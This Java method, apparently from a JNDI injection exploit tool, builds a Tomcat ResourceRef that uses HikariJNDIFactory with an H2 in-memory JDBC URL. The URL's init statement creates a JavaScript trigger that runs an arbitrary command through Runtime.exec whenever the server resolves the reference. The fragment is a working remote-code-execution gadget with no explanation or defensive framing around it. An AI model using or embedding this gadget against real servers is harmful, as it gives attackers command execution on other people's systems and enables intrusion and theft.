public ResourceRef execByHikari() {
        ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"com.zaxxer.hikari.HikariJNDIFactory",null);
        ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
        String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
                "java.lang.Runtime.getRuntime().exec('"+this.command+"')\n" +
                "$$\n";
        ref.add(new StringRefAddr("jdbcUrl", JDBC_URL));
        return ref;
    }